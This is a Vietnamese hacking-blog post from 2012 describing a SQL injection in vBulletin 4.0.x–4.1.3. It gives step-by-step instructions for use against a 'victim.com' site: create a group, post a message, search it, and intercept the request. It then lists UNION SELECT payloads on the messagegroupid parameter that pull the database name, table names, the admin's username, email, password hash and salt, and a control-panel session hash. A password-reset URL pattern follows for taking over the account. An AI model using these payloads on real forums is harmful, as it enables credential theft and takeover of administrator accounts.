Trang chủ » vBulletin » Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day

8 thg 7, 2012

Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day

Mã:
http://www.exploit-db.com/exploits/17555/
tut
Mã:
http://www.mediafire.com/?dxalqfl44o011q1
Tạo Group : http://victim.com/group.php >> tạo với tên group là : check

Click vào group vùa tạo để biết số id
http://victim.com/group.php?groupid=xxx

Post news discussion (trong group vừa tạo) >> tên :123456

Chạy trên trình duyệt :

http://victim.com/search.php?search_type=1

Chọn : Search Single Content Type
Search Type: Group Messages
Keyword(s): 123456
Search in Group : xxx

Dùng Live HTTP header search với tên : 123456
Tìm user+pass+salt admin

Mã:
&messagegroupid[0]=xxx ) UNION SELECT database()#&messagegroupid[0]=xxx ) UNION SELECT table_name FROM information_schema.tables#&messagegroupid[0]=xxx ) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt ) FROM user WHERE userid=1#&messagegroupid[0]=xxx ) UNION SELECT hash from cpsession where userid=1#
Mã:
http://www.victim.com/forum/login.php?a=pwd&u=xxx&i=yyyxxx=userid
yyy=useractivation